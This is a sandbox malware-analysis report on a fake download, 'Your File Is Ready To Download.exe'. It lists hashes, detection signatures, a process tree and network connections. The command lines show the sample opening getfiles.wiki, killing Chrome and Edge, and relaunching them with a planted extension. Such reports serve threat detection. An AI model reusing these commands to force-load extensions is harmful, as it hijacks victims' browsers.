Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Your File Is Ready To Download.zip

Overview

General Information

Sample name:Your File Is Ready To Download.zip
Analysis ID:1362066
MD5:1b4974a0a04e0e537262a392b5944786
SHA1:0ba859f1d929c69226e4d264c9a3f3e435d47c64
SHA256:4d4533b1b6c84077f9eeb4a19ff2b637a8e1ee4fb2b8772cf19cee5035bd3841
Infos:

Detection

Score:60
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for domain / URL
Downloads suspicious files via Chrome
Modifies Chrome's extension installation force list
Writes to foreign memory regions
Contains capabilities to detect virtual machines
Creates a process in suspended mode (likely to inject code)
Creates processes with suspicious names
Enables debug privileges
Installs a Chrome extension
May sleep (evasive loops) to hinder dynamic analysis
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Stores files to the Windows start menu directory
Uses insecure TLS / SSL version for HTTPS connection
Uses taskkill to terminate processes
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

  • System is w10x64_ra
  • Your File Is Ready To Download.exe (PID: 60 cmdline: "C:\Users\user\Desktop\Your File Is Ready To Download.exe" MD5: 0C0A3D01C45F66056D607BBAD486B39B)
  • Your File Is Ready To Download.exe (PID: 2632 cmdline: "C:\Users\user\Desktop\Your File Is Ready To Download.exe" MD5: 0C0A3D01C45F66056D607BBAD486B39B)
    • chrome.exe (PID: 1492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 1372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2372,i,16584848455203160165,18006748831736426992,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • msedge.exe (PID: 3240 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 7056 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x154,0x158,0x15c,0x130,0x164,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8 MD5: 69222B8101B0601CC6663F8381E7E00F)
        • msedge.exe (PID: 5928 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x18c,0x190,0x194,0x168,0x198,0x7ff6d9ff1368,0x7ff6d9ff1378,0x7ff6d9ff1388 MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 6460 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2044 --field-trial-handle=2040,i,13136158115941223659,15677216447442921038,262144 /prefetch:2 MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 6384 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2040,i,13136158115941223659,15677216447442921038,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • taskkill.exe (PID: 5376 cmdline: /IM chrome.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • conhost.exe (PID: 4672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • taskkill.exe (PID: 1000 cmdline: /IM msedge.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • msedge.exe (PID: 5476 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 2904 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x12c,0x154,0x158,0x130,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • chrome.exe (PID: 1076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 4508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2020,i,11844467829304668407,15516714887544658327,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • taskkill.exe (PID: 7224 cmdline: /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • conhost.exe (PID: 7236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • taskkill.exe (PID: 7612 cmdline: /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
      • conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • msedge.exe (PID: 5732 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://getfiles.wiki/welcome.php MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 5540 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x160,0x164,0x168,0x13c,0x174,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2352 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2056 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:2 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 5088 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 1492 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=2548 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 4528 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --first-renderer-process --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838769761 --mojo-platform-channel-handle=3400 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6276 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5838869208 --mojo-platform-channel-handle=3588 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6292 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839068631 --mojo-platform-channel-handle=3688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6996 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839537573 --mojo-platform-channel-handle=4792 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6536 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=4952 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 5592 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5839890168 --mojo-platform-channel-handle=5092 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 3440 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=5300 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 3240 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840144929 --mojo-platform-channel-handle=5604 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2480 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840336035 --mojo-platform-channel-handle=5796 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6648 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840526288 --mojo-platform-channel-handle=5976 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 348 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5840621379 --mojo-platform-channel-handle=6140 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2088 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6356 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2424 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6584 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2732 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6648 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2400 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6608 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6308 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=renderer --disable-nacl --disable-gpu-compositing --lang=en-GB --js-flags=--ms-user-locale=en_CH --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=21 --time-ticks-at-unix-epoch=-1702542096228565 --launch-time-ticks=5843305504 --mojo-platform-channel-handle=7140 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:1 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 5256 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7296 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 4316 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7688 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7328 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=7924 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7396 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6436 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7404 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=3652 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7440 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=6980 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7456 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=8308 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7484 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-GB --service-sandbox-type=service --mojo-platform-channel-handle=8456 --field-trial-handle=2052,i,11542245964142544923,5319805300231437499,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • msedge.exe (PID: 7132 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --profile-directory=Default --no-startup-window --load-extension="C:\Users\user\AppData\Local\ServiceApp\apps-helper" --hide-crash-restore-bubble --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6448 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x160,0x164,0x168,0x13c,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 2424 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1876 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:2 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6480 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1464 --field-trial-handle=2016,i,2864284278806494210,79671049654359720,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • Your File Is Ready To Download.exe (PID: 7804 cmdline: "C:\Users\user\Desktop\Your File Is Ready To Download.exe" MD5: 0C0A3D01C45F66056D607BBAD486B39B)
  • Your File Is Ready To Download.exe (PID: 7864 cmdline: "C:\Users\user\Desktop\Your File Is Ready To Download.exe" MD5: 0C0A3D01C45F66056D607BBAD486B39B)
    • msedge.exe (PID: 7920 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" https://getfiles.wiki/welcome.php MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 7112 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x154,0x158,0x15c,0x130,0x1a4,0x7ffdd31a8e88,0x7ffdd31a8e98,0x7ffdd31a8ea8 MD5: 69222B8101B0601CC6663F8381E7E00F)
        • msedge.exe (PID: 7236 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\user\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=117.0.5938.132 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=117.0.2045.47 --initial-client-data=0x1bc,0x1c0,0x1c4,0x174,0x1c8,0x7ff6d9ff1368,0x7ff6d9ff1378,0x7ff6d9ff1388 MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 2424 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2008 --field-trial-handle=1992,i,15478457847577823314,11846488167821622926,262144 /prefetch:2 MD5: 69222B8101B0601CC6663F8381E7E00F)
      • msedge.exe (PID: 7352 cmdline: "C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1228 --field-trial-handle=1992,i,15478457847577823314,11846488167821622926,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • chrome.exe (PID: 7928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles.wiki/welcome.php MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
      • chrome.exe (PID: 8108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2004,i,16211199081525446302,11786368910216131414,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • Taskmgr.exe (PID: 3248 cmdline: "C:\Windows\system32\taskmgr.exe" /7 MD5: 58D5BC7895F7F32EE308E34F06F25DD5)
  • Taskmgr.exe (PID: 7316 cmdline: "C:\Windows\system32\taskmgr.exe" /7 MD5: 58D5BC7895F7F32EE308E34F06F25DD5)
  • cleanup
No yara matches
No Sigma rule has matched
No Snort rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: getfiles.wikiVirustotal: Detection: 8%Perma Link
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49763 version: TLS 1.0
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49774 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknownHTTPS traffic detected: 20.44.10.122:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49789 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknownHTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknownHTTPS traffic detected: 173.222.162.7:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknownHTTPS traffic detected: 150.171.22.254:443 -> 192.168.2.16:49795 version: TLS 1.2
Source: unknownHTTPS traffic detected: 13.107.253.254:443 -> 192.168.2.16:49798 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.1.237.25:443 -> 192.168.2.16:49801 version: TLS 1.2
Source: chrome.exeMemory has grown: Private usage: 2MB later: 24MB
